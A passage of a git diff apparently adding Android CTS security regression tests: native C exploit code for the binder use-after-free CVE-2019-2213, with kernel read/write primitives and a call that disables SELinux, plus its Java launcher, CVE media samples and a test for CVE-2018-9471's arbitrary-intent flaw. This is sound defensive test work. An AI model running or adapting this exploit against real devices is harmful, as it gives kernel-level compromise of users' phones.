+        fail("tkill fail");
+    dbg("signaled rw_thread");
+    sync_wait_done(rw_thread_sync);
+    // wait until klogd has logged the bad magic number error
+    sleep(1);
+}
+
+void overwrite_task_files(u64 task) {
+    write_pipe_ptr_to(task + 0x7c0);
+}
+
+void sigfunc(int a) {
+}
+
+enum {cmd_read, cmd_write, cmd_exit};
+
+void handle_sig() {
+    struct sigaction sa;
+    memset(&sa, 0x00, sizeof(sa));
+    sa.sa_handler = sigfunc;
+    if (sigaction(SIGUSR2, &sa, NULL) < 0)
+        fail("sigaction fail");
+}
+
+void rw_thread(u64 idx) {
+    handle_sig();
+    sync_wait(rw_thread_sync);
+    void *dat = malloc(0x2000);
+    dbg("starting blocked write");
+    if (write(uaf_pipe, dat, 0x2000) != 0x1000) {
+        fail("expected blocking write=0x1000");
+        return;
+    }
+    dbg("write unblocked");
+    sync_done(rw_thread_sync);
+    int done = 0;
+    while (!done) {
+        sync_wait(rw_thread_sync);
+        if (rw_cmd == cmd_read) {
+            int bits = fcntl(rw_bit, F_GETFD);
+            if (bits < 0) {
+                fail("F_GETFD fail");
+                return;
+            }
+            rw_val = !!(bits & FD_CLOEXEC);
+        } else if (rw_cmd == cmd_write) {
+            if (fcntl(rw_bit, F_SETFD, rw_val ? FD_CLOEXEC : 0) < 0) {
+                fail("F_SETFD fail");
+                return;
+            }
+        } else {
+            done = 1;
+        }
+        sync_done(rw_thread_sync);
+    }
+}
+
+void set_fdarr(int bit) {
+    set_fdt_fdarr(pipe_inode_info + file_off - bit * 8);
+}
+
+u8 r8(u64 addr) {
+    u8 val = 0;
+    set_fdt_close_on_exec(addr);
+    for (int bit = 0; bit < 8; bit++) {
+        set_fdarr(bit);
+        rw_bit = bit;
+        rw_cmd = cmd_read;
+        sync_signal(rw_thread_sync);
+        sync_wait_done(rw_thread_sync);
+        val |= rw_val << bit;
+    }
+    return val;
+}
+
+void w8(u64 addr, u8 val) {
+    set_fdt_close_on_exec(addr);
+    for (int bit = 0; bit < 8; bit++) {
+        set_fdarr(bit);
+        rw_bit = bit;
+        rw_val = val & (1 << bit);
+        rw_cmd = cmd_write;
+        sync_signal(rw_thread_sync);
+        sync_wait_done(rw_thread_sync);
+    }
+}
+
+void exit_rw_thread() {
+    rw_cmd = cmd_exit;
+    sync_signal(rw_thread_sync);
+    sync_wait_done(rw_thread_sync);
+}
+
+void w16(u64 addr, u16 val) {
+    w8(addr, val);
+    w8(addr + 1, val >> 8);
+}
+
+void w32(u64 addr, u32 val) {
+    w16(addr, val);
+    w16(addr + 2, val >> 16);
+}
+
+void w64(u64 addr, u64 val) {
+    w32(addr, val);
+    w32(addr + 4, val >> 32);
+}
+
+u16 r16(u64 addr) {
+    return r8(addr) | (r8(addr + 1) << 8);
+}
+
+u32 r32(u64 addr) {
+    return r16(addr) | (r16(addr + 2) << 16);
+}
+
+u64 r64(u64 addr) {
+    return r32(addr) | (u64)r32(addr + 4) << 32;
+}
+
+#define magic 0x55565758595a5b5cul
+
+void set_up_arbitrary_rw() {
+    overwrite_task_files(rw_task);
+    set_all_bits();
+    set_files_count(1);
+    set_files_fdt(pipe_inode_info + fdt_off);
+    set_fdt_max_fds(8);
+    set_file(pipe_inode_info + fmode_off - 0x44);
+    set_file_fmode(0);
+    u64 magic_addr = scratch;
+    w64(magic_addr, magic);
+    if (r64(magic_addr) != magic)
+        fail("rw test fail");
+    dbg("got arbitrary rw");
+}
+
+u64 get_current() {
+    int our_tid = gettid();
+    u64 leader = r64(rw_task + 0x610);
+    u64 task = leader;
+
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        int tid = r32(task + 0x5d0);
+        if (tid == our_tid)
+            return task;
+        task = r64(task + 0x680) - 0x680;
+        if (task == leader)
+            break;
+    }
+    fail("current not found");
+    return (u64)-1;
+}
+
+void get_fdarr() {
+    current = get_current();
+    if (current == (u64)-1) {
+        return;
+    }
+    dbg("current=%016zx", current);
+    u64 files = r64(current + 0x7c0);
+    u64 fdt = r64(files + 0x20);
+    fdarr = r64(fdt + 8);
+}
+
+void place_bnd_buf(u64 v1, u64 v2, txn_t *t) {
+    txn_t t2;
+    int do_free = !t;
+    if (!t)
+        t = &t2;
+    buf_t *dat = new_buf();
+    buf_u64(dat, v1);
+    buf_u64(dat, v2);
+    send_txn(2, to1, 0, dat, NULL);
+    recv_txn(1, t);
+    if (do_free)
+        free_txn(t);
+    send_reply(1);
+    recv_txn(2, &t2);
+    free_txn(&t2);
+}
+
+void w128(u64 addr, u64 v1, u64 v2) {
+    w64(free_data, addr);
+    w64(next_free_data, addr + 0x10);
+    place_bnd_buf(v1, v2, NULL);
+}
+
+void set_up_w128() {
+    u64 bnd = get_file(1);
+    u64 proc = r64(bnd + 0xd0);
+    u64 alloc = proc + 0x1c0;
+    enter_looper(1);
+    txn_t t1, t2;
+    place_bnd_buf(0, 0, &t1);
+    place_bnd_buf(0, 0, &t2);
+    free_txn(&t1);
+    u64 free_buffer = r64(alloc + 0x48);
+    u64 next = r64(free_buffer);
+    w64(alloc + 0x38, 0);
+    w64(alloc + 0x78, ~0ul);
+    free_data = free_buffer + 0x58;
+    next_free_data = next + 0x58;
+    u64 magic_addr = scratch + 8;
+    w128(magic_addr, magic, magic);
+    if (r64(magic_addr) != magic || r64(magic_addr + 8) != magic)
+        fail("w128 test fail");
+    dbg("got w128");
+}
+
+void clean_up() {
+    w64(fdarr, 0);
+    set_files_count(2);
+    exit_rw_thread();
+}
+
+void exploit() {
+    set_thread_name("txnuaf");
+    select_cpus();
+    set_cpu(cpu1);
+    set_timerslack();
+    launch_threads();
+    open_binders();
+    race_cycle();
+    reopen_pipe();
+    launch_stage2_threads();
+    free_pipe_alloc_fdmem();
+    find_pipe_slot_thread();
+}
+
+void stage2() {
+    scratch = pipe_inode_info + 0xb8;
+    overwrite_pipe_bufs();
+    leak_task_ptr();
+    set_up_arbitrary_rw();
+    get_fdarr();
+    set_up_w128();
+    winfo32(0, 0x7);
+    disable_selinux();
+    clean_up();
+}
+
+JNIEXPORT void JNICALL
+Java_android_security_cts_ExploitThread_runxpl(JNIEnv *e, jobject t, jstring jpipedir) {
+    this = (*e)->NewGlobalRef(e, t);
+    add_jenv(e);
+    (*e)->GetJavaVM(e, &jvm);
+    jclass cls = (*e)->GetObjectClass(e, this);
+    add_log = (*e)->GetMethodID(e, cls, "addLog", "(Ljava/lang/String;)V");
+    pipedir = (*e)->GetStringUTFChars(e, jpipedir, NULL);
+    exploit();
+    (*e)->ReleaseStringUTFChars(e, jpipedir, pipedir);
+}
diff --git a/tests/tests/security/res/raw/bug_33090864_avc.mp4 b/tests/tests/security/res/raw/bug_33090864_avc.mp4
new file mode 100644
index 0000000..f8e2a27
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_framelen.mp4 b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
new file mode 100644
index 0000000..ffaa6ac
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
@@ -0,0 +1,4 @@
+45
+3058
+651
+2281
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2017_0637.mp4 b/tests/tests/security/res/raw/cve_2017_0637.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0637.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_avc.mp4 b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
new file mode 100644
index 0000000..a627ec6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4 b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
new file mode 100644
index 0000000..5fc9458
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
@@ -0,0 +1,98 @@
+22
+130
+83
+102
+85
+97
+73
+86
+79
+80
+69
+80
+78
+82
+81
+77
+65
+85
+83
+91
+72
+88
+74
+87
+72
+66
+66
+77
+74
+94
+66
+59
+59
+70
+64
+76
+59
+88
+59
+83
+75
+72
+72
+92
+83
+77
+52
+66
+57
+57
+58
+91
+69
+86
+67
+63
+68
+89
+73
+72
+69
+58
+65
+79
+82
+0
+239
+189
+168
+151
+137
+142
+156
+127
+149
+157
+152
+151
+113
+133
+158
+104
+114
+138
+144
+147
+126
+157
+132
+107
+100
+165
+154
+112
+164
+131
+111
+143
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4 b/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4
new file mode 100644
index 0000000..8b4858b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4
new file mode 100644
index 0000000..e8899bd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2322.mkv b/tests/tests/security/res/raw/cve_2019_2322.mkv
new file mode 100644
index 0000000..8431f98
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2322.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2334.mkv b/tests/tests/security/res/raw/cve_2019_2334.mkv
new file mode 100644
index 0000000..7385338
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2334.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
deleted file mode 100644
index 67e87a1..0000000
--- a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media.bin b/tests/tests/security/res/raw/sig_com_android_media.bin
deleted file mode 100644
index d33cb3f..0000000
--- a/tests/tests/security/res/raw/sig_com_android_media.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
deleted file mode 100644
index 8c663d4..0000000
--- a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_resolv.bin b/tests/tests/security/res/raw/sig_com_android_resolv.bin
deleted file mode 100644
index cae337e..0000000
--- a/tests/tests/security/res/raw/sig_com_android_resolv.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
deleted file mode 100644
index 8248649..0000000
--- a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
deleted file mode 100644
index 55640d7..0000000
--- a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
deleted file mode 100644
index f4339e6..0000000
--- a/tests/tests/security/res/raw/sig_com_android_tzdata.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
deleted file mode 100644
index e27820f..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media.bin b/tests/tests/security/res/raw/sig_com_google_android_media.bin
deleted file mode 100644
index 1259311..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_media.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
deleted file mode 100644
index 0e72db7..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
deleted file mode 100644
index f5de871..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
deleted file mode 100644
index e28c489..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
deleted file mode 100644
index 96c192c..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
deleted file mode 100644
index abcc35f..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/xml/authenticator.xml b/tests/tests/security/res/xml/authenticator.xml
new file mode 100644
index 0000000..9096201
--- /dev/null
+++ b/tests/tests/security/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts"
+    android:label="AuthenticatorTest" />
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
new file mode 100644
index 0000000..abb0370
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.system.Os;
+import android.os.Looper;
+import android.os.Message;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+
+import android.hardware.display.VirtualDisplay;
+
+import java.io.IOException;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+import static org.junit.Assert.assertTrue;
+import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+import android.platform.test.annotations.SecurityTest;
+
+import java.util.ArrayList;
+import android.util.Log;
+
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.system.ErrnoException;
+import android.widget.TextView;
+
+import java.io.File;
+import java.util.List;
+
+class Exchange extends IBinderExchange.Stub {
+    IBinder binder;
+    BinderExploitTest.CVE_2019_2213_Activity xpl;
+    Exchange(BinderExploitTest.CVE_2019_2213_Activity xpl) {
+        this.xpl = xpl;
+    }
+    @Override
+    public void putBinder(IBinder bnd) {
+        this.xpl.addLog("put binder");
+        binder = bnd;
+    }
+    @Override
+    public IBinder getBinder() {
+        this.xpl.addLog("get binder");
+        return binder;
+    }
+}
+
+class ExploitThread extends Thread {
+    static {
+        System.loadLibrary("cve_2019_2213_jni");
+    }
+    BinderExploitTest.CVE_2019_2213_Activity xpl;
+    String pipedir;
+
+    ExploitThread(BinderExploitTest.CVE_2019_2213_Activity xpl, String pipedir) {
+        this.xpl = xpl;
+        this.pipedir = pipedir;
+    }
+
+    public void run() {
+        runxpl(pipedir);
+    }
+
+    void addLog(String msg) {
+        xpl.addLog(msg);
+    }
+
+    public native void runxpl(String pipedir);
+}
+
+@SecurityTest
+public class BinderExploitTest extends AndroidTestCase {
+
+    static final String TAG = BinderExploitTest.class.getSimpleName();
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+    public CVE_2019_2213_Activity mActivity;
+    private void launchActivity(Class<? extends Activity> clazz) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    /**
+     * b/141496757
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPoc_cve_2019_2213() throws Exception {
+        Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
+
+        //  set timeout to 5 minutes
+        int timeout = 60;
+
+        //  run test activity
+        launchActivity(CVE_2019_2213_Activity.class);
+        //  main loop to check forked processs bahaviors
+        while (timeout-- > 0) {
+            SystemClock.sleep(1000);
+        }
+        Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 finished."));
+    }
+
+    public static class CVE_2019_2213_Activity extends Activity {
+        ActivityManager actmgr;
+        String log = "";
+
+        synchronized void addLog(String msg) {
+            Log.i("txnuaf", msg);
+            log += msg + "\n";
+            Log.i(TAG, log);
+        }
+
+        ActivityManager.AppTask getAppTask() {
+            List<ActivityManager.AppTask> list = actmgr.getAppTasks();
+            for (int i = 0; i < list.size(); i++) {
+                ActivityManager.RecentTaskInfo info = list.get(i).getTaskInfo();
+                if (info.baseIntent.getExtras() != null)
+                    return list.get(i);
+            }
+            return null;
+        }
+
+        void setUpBundle() throws Exception {
+            actmgr = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
+            ActivityManager.AppTask t = getAppTask();
+            if (t != null)
+                t.finishAndRemoveTask();
+            Intent in = new Intent(this, CVE_2019_2213_Activity.class);
+            Bundle extras = new Bundle();
+            extras.putBinder("bnd", new Exchange(this));
+            in.putExtras(extras);
+            in.setFlags(in.getFlags() | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+            Bitmap bmp = Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8);
+            if (actmgr.addAppTask(this, in, null, bmp) == -1)
+                throw new Exception("addAppTask failed");
+            t = getAppTask();
+            if (t == null)
+                throw new Exception("no appTask with extras");
+            Bundle b = t.getTaskInfo().baseIntent.getExtras();
+            if (!b.containsKey("bnd"))
+                throw new Exception("no bnd key");
+            addLog("apptask added");
+        }
+
+        public String makePipes() throws ErrnoException {
+            File dir = getDir("xpldat", 0);
+            for (int i = 0; i < 8; i++) {
+                File fifo = new File(dir, "p" + i);
+                if (fifo.exists())
+                    fifo.delete();
+                Os.mkfifo(fifo.getPath(), 0600);
+            }
+            return dir.getPath();
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            try {
+                setUpBundle();
+                (new ExploitThread(this, makePipes())).start();
+            } catch (Exception e) {
+                addLog(e.toString());
+            }
+        }
+    }
+
+
+}
diff --git a/tests/tests/security/src/android/security/cts/IBinderExchange.java b/tests/tests/security/src/android/security/cts/IBinderExchange.java
new file mode 100644
index 0000000..765baac
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/IBinderExchange.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * This file is auto-generated in Android Studio for BinderExploitTest.  DO NOT MODIFY.
+ */
+package android.security.cts;
+
+public interface IBinderExchange extends android.os.IInterface {
+    /** Local-side IPC implementation stub class. */
+    public static abstract class Stub extends android.os.Binder
+        implements android.security.cts.IBinderExchange {
+        private static final java.lang.String DESCRIPTOR = "android.security.cts.IBinderExchange";
+
+        /** Construct the stub at attach it to the interface. */
+        public Stub() {
+            this.attachInterface(this, DESCRIPTOR);
+        }
+
+        /**
+         * Cast an IBinder object into an android.security.cts.IBinderExchange
+         * interface, generating a proxy if needed.
+         */
+        public static android.security.cts.IBinderExchange asInterface(android.os.IBinder obj) {
+            if ((obj == null)) {
+                return null;
+            }
+            android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
+            if (((iin != null) && (iin instanceof android.security.cts.IBinderExchange))) {
+                return ((android.security.cts.IBinderExchange) iin);
+            }
+            return new android.security.cts.IBinderExchange.Stub.Proxy(obj);
+        }
+
+        @Override
+        public android.os.IBinder asBinder() {
+            return this;
+        }
+
+        @Override
+        public boolean onTransact(
+            int code, android.os.Parcel data, android.os.Parcel reply, int flags)
+                throws android.os.RemoteException {
+            java.lang.String descriptor = DESCRIPTOR;
+            switch (code) {
+            case INTERFACE_TRANSACTION: {
+                reply.writeString(descriptor);
+                return true;
+            }
+            case TRANSACTION_putBinder: {
+                data.enforceInterface(descriptor);
+                android.os.IBinder _arg0;
+                _arg0 = data.readStrongBinder();
+                this.putBinder(_arg0);
+                reply.writeNoException();
+                return true;
+            }
+            case TRANSACTION_getBinder: {
+                data.enforceInterface(descriptor);
+                android.os.IBinder _result = this.getBinder();
+                reply.writeNoException();
+                reply.writeStrongBinder(_result);
+                return true;
+            }
+            default: {
+                return super.onTransact(code, data, reply, flags);
+            }
+            }
+        }
+
+        private static class Proxy implements android.security.cts.IBinderExchange {
+            private android.os.IBinder mRemote;
+
+            Proxy(android.os.IBinder remote) {
+                mRemote = remote;
+            }
+
+            @Override
+            public android.os.IBinder asBinder() {
+                return mRemote;
+            }
+
+            public java.lang.String getInterfaceDescriptor() {
+                return DESCRIPTOR;
+            }
+
+            @Override
+            public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException {
+                android.os.Parcel _data = android.os.Parcel.obtain();
+                android.os.Parcel _reply = android.os.Parcel.obtain();
+                try {
+                    _data.writeInterfaceToken(DESCRIPTOR);
+                    _data.writeStrongBinder(bnd);
+                    mRemote.transact(Stub.TRANSACTION_putBinder, _data, _reply, 0);
+                    _reply.readException();
+                } finally {
+                    _reply.recycle();
+                    _data.recycle();
+                }
+            }
+
+            @Override
+            public android.os.IBinder getBinder() throws android.os.RemoteException {
+                android.os.Parcel _data = android.os.Parcel.obtain();
+                android.os.Parcel _reply = android.os.Parcel.obtain();
+                android.os.IBinder _result;
+                try {
+                    _data.writeInterfaceToken(DESCRIPTOR);
+                    mRemote.transact(Stub.TRANSACTION_getBinder, _data, _reply, 0);
+                    _reply.readException();
+                    _result = _reply.readStrongBinder();
+                } finally {
+                    _reply.recycle();
+                    _data.recycle();
+                }
+                return _result;
+            }
+        }
+
+        static final int TRANSACTION_putBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
+        static final int TRANSACTION_getBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);
+    }
+
+    public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException;
+
+    public android.os.IBinder getBinder() throws android.os.RemoteException;
+}
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
new file mode 100644
index 0000000..b621491
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.InstrumentationRegistry;
+
+import android.content.pm.ActivityInfo;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+
+import android.provider.Settings;
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.SystemClock;
+
+import android.util.Log;
+import android.annotation.Nullable;
+import static java.lang.Thread.sleep;
+import static org.junit.Assert.assertTrue;
+
+@SecurityTest
+public class NanoAppBundleTest extends AndroidTestCase {
+
+    private static final String TAG = "NanoAppBundleTest";
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+    private ServiceConnection mServiceConnection =
+        new ServiceConnection() {
+
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder binder) {
+                Log.i(TAG, "Authenticator service " + name + " is connected");
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                Log.i(TAG, "Authenticator service " + name + "died abruptly");
+            }
+        };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+        mContext.startService(serviceIntent);
+        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mContext != null) {
+            Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+            mContext.stopService(serviceIntent);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * b/113527124
+     */
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPoc_cve_2018_9471() throws Exception {
+
+        try {
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            new NanoAppBundleTest.Trigger(mContext).anyAction();
+            //  against vulnerable bits, the failure will get caught right after trigger.
+            //  against patched bits, 1 minute wait to snap the test
+            Thread.sleep(60_000);
+        } catch(InterruptedException ignored) {
+            Log.i(TAG, "swallow interrupted exception");
+        }
+    }
+
+    public static class Trigger {
+        private static final String TAG = "Trigger";
+        private Context mContext;
+
+        public Trigger(Context context) {
+            mContext = context;
+        }
+
+        private void trigger() {
+            Log.i(TAG, "start...");
+
+            String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
+            String cls = isCar(mContext)
+                    ? "com.android.car.settings.accounts.AddAccountActivity"
+                    : "com.android.settings.accounts.AddAccountSettings";
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(pkg, cls));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            String authTypes[] = { SECURITY_CTS_PACKAGE_NAME };
+            intent.putExtra("account_types", authTypes);
+
+            ActivityInfo info = intent.resolveActivityInfo(
+                    mContext.getPackageManager(), intent.getFlags());
+            // Will throw NullPointerException if activity not found.
+            if (info.exported) {
+                mContext.startActivity(intent);
+            } else {
+                Log.i(TAG, "Activity is not exported");
+            }
+            Log.i(TAG, "finsihed.");
+        }
+
+        public void anyAction() {
+            Log.i(TAG, "Arbitrary action starts...");
+
+            Intent intent = new Intent();
+
+            intent.setComponent(new ComponentName(
+                "android.security.cts",
+                "android.security.cts.NanoAppBundleTest$FailActivity"));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            Authenticator.setIntent(intent);
+
+            trigger();
+
+            Log.i(TAG, "Arbitrary action finished.");
+        }
+    }
+
+    //  customized activity
+    public static class FailActivity extends Activity {
+
+        @Override
+        protected void onCreate(Bundle onSavedInstanceState) {
+            super.onCreate(onSavedInstanceState);
+
+            fail("Arbitrary intent executed");
+        }
+    }
+
+    //
+    //  Authenticator class
+    //
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private static final String TAG = "Authenticator";
+
+        //  mAddAccountDone : flag set to check if the buggy part is got run
+        private boolean mAddAccountDone;
+        public boolean isAddAccountDone() {
+            return mAddAccountDone;
+        }
+        public void setAddAccountDone(boolean isDone) {
+            mAddAccountDone = isDone;
+        }
+
+        //  mAuthContext
+        private static Context mAuthContext;
+        public static Context getAuthContext() {
+            return mAuthContext;
+        }
+
+        //  mIntent : set from Trigger or setPIN
+        private static Intent mIntent;
+        public static Intent getIntent() {
+            return mIntent;
+        }
+        public static void setIntent(Intent intent) {
+            mIntent = intent;
+        }
+
+        //  Authenticator ctor
+        public Authenticator(Context context) {
+            super(context);
+            setAddAccountDone(false);
+            Authenticator.mAuthContext = context;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return null;
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                     String accountType) {
+            return null;
+        }
+
+        @Override
